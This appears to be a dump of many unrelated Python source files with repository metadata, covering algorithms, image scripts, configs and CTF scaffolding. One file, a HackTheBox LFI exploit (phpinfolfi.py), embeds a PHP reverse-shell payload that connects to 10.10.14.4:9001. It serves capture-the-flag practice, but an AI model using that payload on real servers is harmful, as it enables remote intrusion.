""" 7 Satz von Pick (Tag 2) Der Satz von Pick hilft bei der Berechnung der Fläche, die durch eine gerasterte Abbildung eingenommen wird. Voraussetzung für die Anwendbarkeit ist, dass alle Punkte der Abbildung auf Rasterpunkten der Abbildungsfläche liegen, und die Rasterpunkte regelmäßige Größe und horizontale und ver...
33.681818
110
0.720648
1a95a13356cf62e754fd94ad6b3477d709c53aeb
1,231
py
Python
Problems/Depth-First Search/easy/NaryTreePreorderTraversal/nary_tree_preorder_traversal.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
1
2021-08-16T14:52:05.000Z
2021-08-16T14:52:05.000Z
Problems/Depth-First Search/easy/NaryTreePreorderTraversal/nary_tree_preorder_traversal.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
Problems/Depth-First Search/easy/NaryTreePreorderTraversal/nary_tree_preorder_traversal.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
from typing import List # Definition for a Node. class Node: def __init__(self, val=None, children=None): self.val = val self.children = children # Recursive # def preorder(root: 'Node') -> List[int]: # res = [] # if not root: # return res # # def traversal(cur_root: 'Node'): ...
26.191489
99
0.597076
64c905133e10bb9d47500423fd2dadd9e83ce523
533
py
Python
comp/zenefits/skype/TimeIntervalConflicts.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2016-04-07T15:08:53.000Z
2016-04-07T15:08:53.000Z
comp/zenefits/skype/TimeIntervalConflicts.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2016-02-09T06:00:07.000Z
2016-02-09T07:20:13.000Z
comp/zenefits/skype/TimeIntervalConflicts.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
2
2019-06-27T09:07:26.000Z
2019-07-01T04:40:13.000Z
def conflicts(intervals): sorted_intervals = sorted(intervals, key=lambda interval: intervals[0]) pairs = [] for i in range(len(intervals) - 1): fstend = intervals[i][1] for j in range(i + 1, len(intervals)): sndstart = intervals[j][0] if sndstart < fstend: ...
24.227273
75
0.54409
b3fcf84b652517e5bf899f566f51e654af6b23c0
480
py
Python
make_white_images.py
dominikneise/dominikneise.github.io
dd03890e98c4705e899b25b5d89abb4a9fe4b603
[ "MIT" ]
null
null
null
make_white_images.py
dominikneise/dominikneise.github.io
dd03890e98c4705e899b25b5d89abb4a9fe4b603
[ "MIT" ]
null
null
null
make_white_images.py
dominikneise/dominikneise.github.io
dd03890e98c4705e899b25b5d89abb4a9fe4b603
[ "MIT" ]
null
null
null
# coding: utf-8 from glob import glob from PIL import Image from PIL import Image, ImageDraw jpgs = sorted(glob("*.jpg")) for p in jpgs: im = Image.open(p) img = Image.new("RGB", im.size, color=(255, 255, 255)) d = ImageDraw.Draw(img) N = len(p) pos = 0 q = p for i in range(N // 16): ...
22.857143
58
0.533333
37438b3cefa1e361c9100df996a12d398820ae88
92
py
Python
2015/04/table-fema-recoupment-20150303/graphic_config.py
nprapps/graphics-archive
97b0ef326b46a959df930f5522d325e537f7a655
[ "FSFAP" ]
14
2015-05-08T13:41:51.000Z
2021-02-24T12:34:55.000Z
2015/04/table-fema-recoupment-20150303/graphic_config.py
nprapps/graphics-archive
97b0ef326b46a959df930f5522d325e537f7a655
[ "FSFAP" ]
null
null
null
2015/04/table-fema-recoupment-20150303/graphic_config.py
nprapps/graphics-archive
97b0ef326b46a959df930f5522d325e537f7a655
[ "FSFAP" ]
7
2015-04-04T04:45:54.000Z
2021-02-18T11:12:48.000Z
#!/usr/bin/env python COPY_GOOGLE_DOC_KEY = '153yRLnw-uIco5Omlog_3nP2S79EkwZbrizeY22DBccg'
23
68
0.836957
037d174f56ca03069b0f9e55336e28adda87cee5
6,208
py
Python
classification/scripts/configs/ConfigurationsML.py
s-santoro/lunch-crawler
1e39b1d35d76067a55b2c034d0488a6ec53f8a45
[ "Apache-2.0" ]
1
2020-07-11T04:24:40.000Z
2020-07-11T04:24:40.000Z
classification/scripts/configs/ConfigurationsML.py
s-santoro/lunch-crawler
1e39b1d35d76067a55b2c034d0488a6ec53f8a45
[ "Apache-2.0" ]
null
null
null
classification/scripts/configs/ConfigurationsML.py
s-santoro/lunch-crawler
1e39b1d35d76067a55b2c034d0488a6ec53f8a45
[ "Apache-2.0" ]
null
null
null
# Configuration-File Class # Class consisting of list for different configs class Configurations: configs = [ # # Configurations for Machine-Learning Pipeline # {# # text preprocessing "textToLowerCase": True, "textReplaceUmlaut": True, ...
30.732673
54
0.505477
ff0238d53300d94b34925ea9846e6267769cae1a
10,448
py
Python
2019/finals/reversing-gpurtl/synth/arch.py
iicarus-bit/google-ctf
4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b
[ "Apache-2.0" ]
2,757
2018-04-28T21:41:36.000Z
2022-03-29T06:33:36.000Z
2019/finals/reversing-gpurtl/synth/arch.py
iicarus-bit/google-ctf
4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b
[ "Apache-2.0" ]
20
2019-07-23T15:29:32.000Z
2022-01-21T12:53:04.000Z
2019/finals/reversing-gpurtl/synth/arch.py
iicarus-bit/google-ctf
4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b
[ "Apache-2.0" ]
449
2018-05-09T05:54:05.000Z
2022-03-30T14:54:18.000Z
# Copyright 2019 Google LLC # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # https://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, sof...
29.266106
86
0.541443
20b8e71c67994943dc091a9611fc02a01d65785b
370
py
Python
graficador.py
juand1809/JuanVelasquez_Final
aa8ed8e439fce5bbfe439982573edf1cc2aad58d
[ "MIT" ]
null
null
null
graficador.py
juand1809/JuanVelasquez_Final
aa8ed8e439fce5bbfe439982573edf1cc2aad58d
[ "MIT" ]
null
null
null
graficador.py
juand1809/JuanVelasquez_Final
aa8ed8e439fce5bbfe439982573edf1cc2aad58d
[ "MIT" ]
null
null
null
import numpy as np import matplotlib.pyplot as plt import os os.system ("g++ VelasquezJuan_final_15.cpp") os.system ("./a.out") a = np.loadtxt("datos.dat") plt.figure(figsize = (15,10)) plt.plot(a[:,1],a[:,2]) plt.xlabel("Posición[x]") plt.ylabel("Posicion[y]") plt.title("Partícula cargada en campo eléctrico [Leapfr...
20.555556
60
0.713514
5b4781a88c5aab94f141ccead073f7552fe91c71
859
py
Python
2018/quals/pwn-drive/challenge/doit.py
iicarus-bit/google-ctf
4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b
[ "Apache-2.0" ]
2,757
2018-04-28T21:41:36.000Z
2022-03-29T06:33:36.000Z
2018/quals/pwn-drive/challenge/doit.py
iicarus-bit/google-ctf
4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b
[ "Apache-2.0" ]
20
2019-07-23T15:29:32.000Z
2022-01-21T12:53:04.000Z
2018/quals/pwn-drive/challenge/doit.py
iicarus-bit/google-ctf
4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b
[ "Apache-2.0" ]
449
2018-05-09T05:54:05.000Z
2022-03-30T14:54:18.000Z
#!/usr/bin/env python2 #Copyright 2018 Google LLC # #Licensed under the Apache License, Version 2.0 (the "License"); #you may not use this file except in compliance with the License. #You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # #Unless required by applicable law or agree...
29.62069
73
0.743888
1b7a40a580f5ffed03ae21e70c83d2819fa9e986
201
py
Python
Licence 2/I33/TP 3/ex_2.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
8
2020-11-26T20:45:12.000Z
2021-11-29T15:46:22.000Z
Licence 2/I33/TP 3/ex_2.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
null
null
null
Licence 2/I33/TP 3/ex_2.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
6
2020-10-23T15:29:24.000Z
2021-05-05T19:10:45.000Z
def eval_poly(P, b): index, P_b = 0, 0 while index < len(P) - 1: P_b += P[index] P_b *= b index += 1 P_b += P[index] return P_b print(eval_poly([3, 5, 4], 2))
16.75
30
0.467662
ca1dfab73687317332cb30a392a69049e4029931
546
py
Python
exercises/de/exc_01_11.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
2,085
2019-04-17T13:10:40.000Z
2022-03-30T21:51:46.000Z
exercises/de/exc_01_11.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
79
2019-04-18T14:42:55.000Z
2022-03-07T08:15:43.000Z
exercises/de/exc_01_11.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
361
2019-04-17T13:34:32.000Z
2022-03-28T04:42:45.000Z
import spacy # Importiere den Matcher from spacy.____ import ____ nlp = spacy.load("de_core_news_sm") doc = nlp("Das neue iPhone X erscheint demnächst in Deutschland") # Initialisiere den Matcher mit dem gemeinsamen Vokabular matcher = ____(____.____) # Erstelle ein Pattern, das zwei Token findet: "iPhone" und "X" ...
26
77
0.752747
b6ef20f81db89eeb9bba3b353d7170820bd1b7fd
568
py
Python
renderers/rpg/text.py
etigerstudio/zilong-on-fire
5144a471b2d39ea38a47d394e648de00dd13cd8b
[ "MIT" ]
2
2021-01-07T01:10:49.000Z
2022-01-21T09:37:16.000Z
renderers/rpg/text.py
etigerstudio/zilong-on-fire
5144a471b2d39ea38a47d394e648de00dd13cd8b
[ "MIT" ]
null
null
null
renderers/rpg/text.py
etigerstudio/zilong-on-fire
5144a471b2d39ea38a47d394e648de00dd13cd8b
[ "MIT" ]
null
null
null
from renderers.base import BaseRenderer from time import sleep import numpy as np class TextRPGRenderer(BaseRenderer): def __init__(self, delay=0.1): self.delay = delay def setup(self, info=None): print(f'GAME START') sleep(self.delay) def update(self, state, info=None): ...
24.695652
52
0.651408
edf0363c2c2a92ea4871d7558449f517adee7d70
712
py
Python
Packs/ForescoutEyeInspect/Scripts/ForescoutEyeInspectButtonGetPCAP/ForescoutEyeInspectButtonGetPCAP.py
jrauen/content
81a92be1cbb053a5f26a6f325eff3afc0ca840e0
[ "MIT" ]
2
2021-12-06T21:38:24.000Z
2022-01-13T08:23:36.000Z
Packs/ForescoutEyeInspect/Scripts/ForescoutEyeInspectButtonGetPCAP/ForescoutEyeInspectButtonGetPCAP.py
jrauen/content
81a92be1cbb053a5f26a6f325eff3afc0ca840e0
[ "MIT" ]
61
2021-10-07T08:54:38.000Z
2022-03-31T10:25:35.000Z
Packs/ForescoutEyeInspect/Scripts/ForescoutEyeInspectButtonGetPCAP/ForescoutEyeInspectButtonGetPCAP.py
henry-sue-pa/content
043c6badfb4f9c80673cad9242fdea72efe301f7
[ "MIT" ]
2
2022-01-05T15:27:01.000Z
2022-02-01T19:27:43.000Z
from typing import Any, Dict import demistomock as demisto from CommonServerPython import * def get_pcap() -> Dict[str, Any]: alert_id = demisto.incident()['CustomFields'].get('alertid') if not alert_id: return_error('Forescout EyeInspect alert ID is missing inside the incident.') return demisto...
28.48
92
0.706461
1ea1f49598e0ef9cb0450e705464f95b3db763ca
1,889
py
Python
CLIWeb/cliweb.py
iiestIT/CLIWeb
8ffbc5de0303e3fefd4c8c207f2c69cb290f6ddb
[ "MIT" ]
null
null
null
CLIWeb/cliweb.py
iiestIT/CLIWeb
8ffbc5de0303e3fefd4c8c207f2c69cb290f6ddb
[ "MIT" ]
null
null
null
CLIWeb/cliweb.py
iiestIT/CLIWeb
8ffbc5de0303e3fefd4c8c207f2c69cb290f6ddb
[ "MIT" ]
null
null
null
from urllib.error import URLError from urllib.request import urlopen, Request import websockets import asyncio import sys class MissingArguments(Exception): def __init__(self): super().__init__("There are missing arguments. Please use the format:\n cliweb.py [ws/http] [url]") class UnknownURLScheme(Exce...
24.532468
107
0.604023
94ce358668faa5dfb68d7e800b1451c3c9abca1f
11,727
py
Python
bildungslogin-plugin/tests/integration_tests/test_backend.py
univention/bildungslogin
29bebe858a5445dd5566aad594b33b9dd716eca4
[ "MIT" ]
null
null
null
bildungslogin-plugin/tests/integration_tests/test_backend.py
univention/bildungslogin
29bebe858a5445dd5566aad594b33b9dd716eca4
[ "MIT" ]
null
null
null
bildungslogin-plugin/tests/integration_tests/test_backend.py
univention/bildungslogin
29bebe858a5445dd5566aad594b33b9dd716eca4
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from unittest import mock import datetime import itertools import zlib from typing import Any, Dict, List import pytest from ldap3 import AUTO_BIND_TLS_BEFORE_BIND, MODIFY_REPLACE, SIMPLE, Connection from ldap3.core.exceptions import LDAPBindError, LDAPExceptionError from bildungslogin_plugin...
45.277992
104
0.713141
44c711de972229d981efb99c71610b775cc77917
1,866
py
Python
ds/practice/daily_practice/21-05/code/bst.py
tobias-fyi/vela
b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82
[ "MIT" ]
null
null
null
ds/practice/daily_practice/21-05/code/bst.py
tobias-fyi/vela
b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82
[ "MIT" ]
8
2020-03-24T17:47:23.000Z
2022-03-12T00:33:21.000Z
ds/practice/daily_practice/21-05/code/bst.py
tobias-fyi/vela
b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82
[ "MIT" ]
null
null
null
"""Binary Tree + Search + Traversal""" from typing import List class TreeNode: def __init__(self, val=0, left=None, right=None): self.val = val self.left = left self.right = right def insert(self, val) -> None: pass class BST: def __init__(self, val) -> None: se...
31.1
80
0.639871
153580f1576ff0fa1164c66d623dcdc528007db7
643
py
Python
python/asyncio/coding_dojang/async_for.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
python/asyncio/coding_dojang/async_for.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
python/asyncio/coding_dojang/async_for.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
import random import asyncio class AsyncCounter: def __init__(self, stop): self.current = 0 self.stop = stop def __aiter__(self): return self async def __anext__(self): if self.current < self.stop: t = random.randint(1, 5) print(f"wait: {t}s") ...
19.484848
36
0.562986
15628fe251b65e9f3619b7a507b1672cbd77738f
252
py
Python
documents/Numerik/Klausur6/aufgabe2.py
keithmannock/LaTeX-examples
6829f6cf9710b314a4bf0b64abdae5bcf6997fd0
[ "MIT" ]
2
2017-11-02T10:09:12.000Z
2017-11-24T22:16:18.000Z
documents/Numerik/Klausur6/aufgabe2.py
everbot/LaTeX-examples
9558d8b3c19776cb068b9753dcd3f88645dd7134
[ "MIT" ]
null
null
null
documents/Numerik/Klausur6/aufgabe2.py
everbot/LaTeX-examples
9558d8b3c19776cb068b9753dcd3f88645dd7134
[ "MIT" ]
null
null
null
from math import exp, log def iterate(x, times=1): #x = x - (2.0*x - exp(-x))/(2.0+exp(-x)) #Newton x = 0.5*exp(-x) #F_1 #x = (-1)*log(2.0*x) #F_2 if times > 0: x = iterate(x, times-1) return x print(iterate(0.5,6))
18
52
0.492063
ecaa19e00697fe0a1b1ebb32bda1ce72f397788e
537
py
Python
app/config_dist_dev.py
openbikebox/websocket-client
50b61a70ffcff1acdc13ba69c017e671bd3f983f
[ "MIT" ]
null
null
null
app/config_dist_dev.py
openbikebox/websocket-client
50b61a70ffcff1acdc13ba69c017e671bd3f983f
[ "MIT" ]
null
null
null
app/config_dist_dev.py
openbikebox/websocket-client
50b61a70ffcff1acdc13ba69c017e671bd3f983f
[ "MIT" ]
null
null
null
# encoding: utf-8 """ openbikebox websocket-client Copyright (c) 2021, binary butterfly GmbH Use of this source code is governed by an MIT-style license that can be found in the LICENSE file. """ class Config: CLIENT_UID = 'client-1' CLIENT_PASSWORD = 'password' OBB_CONNECT_URL = 'ws://your-server:port/...
21.48
98
0.646182
01c8e44f24f05e8d84817a556714a4ed83c52f90
718
py
Python
challenges/percentageGreen/python2/percentageGreen.py
jimmynguyen/codefights
f4924fcffdb4ff14930618bb1a781e4e02e9aa09
[ "MIT" ]
5
2020-05-21T03:02:34.000Z
2021-09-06T04:24:26.000Z
challenges/percentageGreen/python2/percentageGreen.py
jimmynguyen/codefights
f4924fcffdb4ff14930618bb1a781e4e02e9aa09
[ "MIT" ]
6
2019-04-24T03:39:26.000Z
2019-05-03T02:10:59.000Z
challenges/percentageGreen/python2/percentageGreen.py
jimmynguyen/codefights
f4924fcffdb4ff14930618bb1a781e4e02e9aa09
[ "MIT" ]
1
2021-09-06T04:24:27.000Z
2021-09-06T04:24:27.000Z
def percentageGreen(green, total): return float(green) / total * 100 if __name__ == '__main__': input0 = [2, 4] input1 = [5, 5] expectedOutput = [40, 80] assert len(input0) == len(expectedOutput), '# input0 = {}, # expectedOutput = {}'.format(len(input0), len(expectedOutput)) assert len(input1) == len(expectedOu...
55.230769
130
0.68663
174ca53933ed1b15e5fc3b76eead4cd5f8c39b22
2,472
py
Python
hello/hello_world.py
East196/hello-py
a77c7a0c8e5e2b5e8cefaf0fda335ab0c3b1da21
[ "Apache-2.0" ]
1
2017-10-23T14:58:47.000Z
2017-10-23T14:58:47.000Z
hello/hello_world.py
East196/hello-py
a77c7a0c8e5e2b5e8cefaf0fda335ab0c3b1da21
[ "Apache-2.0" ]
null
null
null
hello/hello_world.py
East196/hello-py
a77c7a0c8e5e2b5e8cefaf0fda335ab0c3b1da21
[ "Apache-2.0" ]
1
2018-04-06T07:49:18.000Z
2018-04-06T07:49:18.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- import sys import imp imp.reload(sys) sys.setdefaultencoding('utf8') import base64 # print None # i=None # print i is None # from addict import Dict # body = Dict() # body.query.filtered.query.match.description = 'addictive' # body.query.filtered.filter.term.created_by ...
19.464567
64
0.652508
da055628ec313d46e087d207976497778ce9f598
1,864
py
Python
src/scheduler/manager.py
monosidev/monosi
a88b689fc74010b10dbabb32f4b2bdeae865f4d5
[ "Apache-2.0" ]
156
2021-11-19T18:50:14.000Z
2022-03-31T19:48:59.000Z
src/scheduler/manager.py
monosidev/monosi
a88b689fc74010b10dbabb32f4b2bdeae865f4d5
[ "Apache-2.0" ]
30
2021-12-27T19:30:56.000Z
2022-03-30T17:49:00.000Z
src/scheduler/manager.py
monosidev/monosi
a88b689fc74010b10dbabb32f4b2bdeae865f4d5
[ "Apache-2.0" ]
14
2022-01-17T23:24:34.000Z
2022-03-29T09:27:47.000Z
import logging from .api import init_api from .base import MsiScheduler class JobManager: singleton = None def __init__(self, app=None, db_url=None): self.app = app self.scheduler = MsiScheduler(db_url=db_url) if app is not None: self.init_app(app) JobManager.sin...
26.628571
150
0.652897
da3d5781a6eab28398bed8ec18e3f254af94f4b0
3,818
py
Python
old_heartbeats.py
karrot-dev/yunity.org
a71d13e39979f21c3b90bd3c9ebc16a85ee98aa4
[ "MIT" ]
2
2017-05-10T13:23:16.000Z
2018-07-14T09:59:33.000Z
old_heartbeats.py
karrot-dev/yunity.org
a71d13e39979f21c3b90bd3c9ebc16a85ee98aa4
[ "MIT" ]
23
2017-04-27T10:29:19.000Z
2018-07-05T16:53:03.000Z
old_heartbeats.py
karrot-dev/yunity.org
a71d13e39979f21c3b90bd3c9ebc16a85ee98aa4
[ "MIT" ]
6
2017-08-07T14:40:29.000Z
2021-04-25T05:03:55.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon May 8 17:07:53 2017 @author: tic """ #%% get urls of posts url = "https://yunity.atlassian.net/wiki/pages/viewrecentblogposts.action?key=YUN" from bs4 import BeautifulSoup import requests urls = [] while url: r = requests.get(url) soup = Be...
28.706767
99
0.535883
e5ff23790957647595ebe814a7af06d8b215881d
477
py
Python
Codeforces_problems/Domino Piling/solution.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
165
2020-10-03T08:01:11.000Z
2022-03-31T02:42:08.000Z
Codeforces_problems/Domino Piling/solution.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
383
2020-10-03T07:39:11.000Z
2021-11-20T07:06:35.000Z
Codeforces_problems/Domino Piling/solution.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
380
2020-10-03T08:05:04.000Z
2022-03-19T06:56:59.000Z
m, n = map(int, input().split()) #taking m and n as input #since each small domino is of size 2x1, it can be said that the total number of dominos which can be fitted #is equal to MxN divided by 2, but this can give a decimal answer. What the question asks for is the maximum #number of complete squares. #converting o...
59.625
113
0.756813
0058ee0cb94614fed0a74f19522d3d23eaabb43c
449
py
Python
src/python/py-accepted/10812.py
cbarnson/UVa
0dd73fae656613e28b5aaf5880c5dad529316270
[ "Unlicense", "MIT" ]
2
2019-09-07T17:00:26.000Z
2020-08-05T02:08:35.000Z
src/python/py-accepted/10812.py
cbarnson/UVa
0dd73fae656613e28b5aaf5880c5dad529316270
[ "Unlicense", "MIT" ]
null
null
null
src/python/py-accepted/10812.py
cbarnson/UVa
0dd73fae656613e28b5aaf5880c5dad529316270
[ "Unlicense", "MIT" ]
null
null
null
# Problem No. : 10812 # Created on : 2018-05-24 23:39:37 import sys import functools def Main(): while True: n = int(input()) while (n > 0): n = n - 1 s, d = map(int, input().split()) x = s - d if (x < 0 or x & 1): print("impossibl...
19.521739
45
0.42539
9726f1a75d3df66a790f91a71ad8541cb04b99cd
1,873
py
Python
cow3-main/data/__init__.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
cow3-main/data/__init__.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
cow3-main/data/__init__.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
import requests as req, json, time tampung = [] hitung = 0 class Main(object): def __init__(self,url,token): self.url = url self.token = token def cek_account(self,id): try: __cek = json.loads(req.get(f"{self.url}/{id}?access_token={self.token}").text) nama = __cek['name'] return nama except KeyE...
25.657534
100
0.61292
a9c7d8c1ff95da2d1a61509f572ed660f9a61a66
253
py
Python
2264-largest-3-same-digit-number-in-string/2264-largest-3-same-digit-number-in-string.py
hyeseonko/LeetCode
48dfc93f1638e13041d8ce1420517a886abbdc77
[ "MIT" ]
2
2021-12-05T14:29:06.000Z
2022-01-01T05:46:13.000Z
2264-largest-3-same-digit-number-in-string/2264-largest-3-same-digit-number-in-string.py
hyeseonko/LeetCode
48dfc93f1638e13041d8ce1420517a886abbdc77
[ "MIT" ]
null
null
null
2264-largest-3-same-digit-number-in-string/2264-largest-3-same-digit-number-in-string.py
hyeseonko/LeetCode
48dfc93f1638e13041d8ce1420517a886abbdc77
[ "MIT" ]
null
null
null
class Solution: def largestGoodInteger(self, num: str) -> str: output = [""] for i in range(len(num)-2): if len(set(num[i:i+3]))==1: output.append(num[i:i+3]) return sorted(output)[-1]
31.625
50
0.486166
e716f31ec7f138add296940da639d6cb7e079d82
1,631
py
Python
tests/test_positionsaufabschlag.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
1
2022-03-02T12:49:44.000Z
2022-03-02T12:49:44.000Z
tests/test_positionsaufabschlag.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
21
2022-02-04T07:38:46.000Z
2022-03-28T14:01:53.000Z
tests/test_positionsaufabschlag.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
null
null
null
from decimal import Decimal import pytest # type:ignore[import] from bo4e.com.positionsaufabschlag import PositionsAufAbschlag, PositionsAufAbschlagSchema from bo4e.enum.aufabschlagstyp import AufAbschlagstyp from bo4e.enum.waehrungseinheit import Waehrungseinheit from tests.serialization_helper import assert_serial...
37.068182
113
0.627836
41390291ea4bf38b0aaef7864333b474c0ebe7e5
1,089
py
Python
src/python/BI/SklearnMetrics.py
coulsonzero/webProject
46ba2456620496f376ed954a6469381b8142e0f6
[ "MIT" ]
null
null
null
src/python/BI/SklearnMetrics.py
coulsonzero/webProject
46ba2456620496f376ed954a6469381b8142e0f6
[ "MIT" ]
null
null
null
src/python/BI/SklearnMetrics.py
coulsonzero/webProject
46ba2456620496f376ed954a6469381b8142e0f6
[ "MIT" ]
null
null
null
import pandas as pd from sklearn.linear_model import LogisticRegression df = pd.read_csv("src\\python\\BI\\Csv\\titanic.csv") # print(df.head) df['male'] = df['Sex'] == 'male' X = df[['Pclass', 'male', 'Age', 'Siblings/Spouses', 'Parents/Children', 'Fare']].values Y = df['Survived'].values model = LogisticRegression...
38.892857
116
0.619835
994780a1b7f0fbf131a872dead95900202b05efd
372
py
Python
INBa/2015/Ruditch_A_C/task_2_22.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
INBa/2015/Ruditch_A_C/task_2_22.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
INBa/2015/Ruditch_A_C/task_2_22.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
#Задача 2. Вариант 22 #Напишите программу, которая будет выводить на экран наиболее понравившееся вам высказывание, автором которого является Демокрит. Не забудьте о том, что автор должен быть упомянут на отдельной строке. #Rudich A.C. #23.02.2016 print("<<Раскаяние в постыдных делах есть спасение жизни.>>") print("\t...
46.5
200
0.77957
995fa335b24ddc8c42028329ad4f8ec0b107af4b
3,114
py
Python
users/models.py
rocky-roll-call/rrc-backend
02e8e11c3dab7661e48650e2e861a4a97788a4ce
[ "MIT" ]
null
null
null
users/models.py
rocky-roll-call/rrc-backend
02e8e11c3dab7661e48650e2e861a4a97788a4ce
[ "MIT" ]
null
null
null
users/models.py
rocky-roll-call/rrc-backend
02e8e11c3dab7661e48650e2e861a4a97788a4ce
[ "MIT" ]
null
null
null
""" Models to build and manage User profiles and settings """ # stdlib from datetime import date # django from django.db import models from django.contrib.auth.models import User from django.db.models.signals import post_save from django.dispatch import receiver from django.utils import timezone from sorl.thumbnail i...
27.078261
87
0.679833
5accee1cddea256414695798e67b053ee6db51bc
8,329
py
Python
Boot2Root/hackthebox/Poison/files/phpinfolfi.py
Kan1shka9/CTFs
33ab33e094ea8b52714d5dad020c25730e91c0b0
[ "MIT" ]
21
2016-02-06T14:30:01.000Z
2020-09-11T05:39:17.000Z
Boot2Root/hackthebox/Poison/files/phpinfolfi.py
Kan1shka9/CTFs
33ab33e094ea8b52714d5dad020c25730e91c0b0
[ "MIT" ]
null
null
null
Boot2Root/hackthebox/Poison/files/phpinfolfi.py
Kan1shka9/CTFs
33ab33e094ea8b52714d5dad020c25730e91c0b0
[ "MIT" ]
7
2017-02-02T16:27:02.000Z
2021-04-30T17:14:53.000Z
#!/usr/bin/python # https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf import sys import threading import socket def setup(host, port): TAG="Security Test" PAYLOAD="""%s\r <?php set_time_limit (0); $VERSION = "1.0"; $ip = '10.10.14.4'; // CHANGE THIS $port = 9001; /...
24.78869
90
0.586625
cfdb89071b96464dc54d795bb47811639da25169
4,453
py
Python
frappe-bench/env/lib/python2.7/site-packages/stdnum/do/ncf.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/env/lib/python2.7/site-packages/stdnum/do/ncf.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/env/lib/python2.7/site-packages/stdnum/do/ncf.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
# ncf.py - functions for handling Dominican Republic invoice numbers # coding: utf-8 # # Copyright (C) 2017 Arthur de Jong # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # versi...
33.481203
131
0.687851
5c6a7cb280d3f8c17b9a318f79f834bae4e3f6f8
638
py
Python
books/PythonAutomate/google_spreadsheets/sum_spreadsheets.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
books/PythonAutomate/google_spreadsheets/sum_spreadsheets.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
books/PythonAutomate/google_spreadsheets/sum_spreadsheets.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
"""sum_spreadsheets.py A, B 열에 있는 데이터를 더해 삽입한 C열에 결과 업데이트 """ import ezsheets sheet_id = "1kE8mgP-GKx8HJKHNhHfOLeZaWZCSBo2v4D3vwzKwipw" ss = ezsheets.Spreadsheet(sheet_id) sheet = ss[0] rows = sheet.getRows() column_count = sheet.columnCount for i in range(column_count, 2, -1): sheet.updateColumn(i + 1, sheet.g...
20.580645
57
0.65674
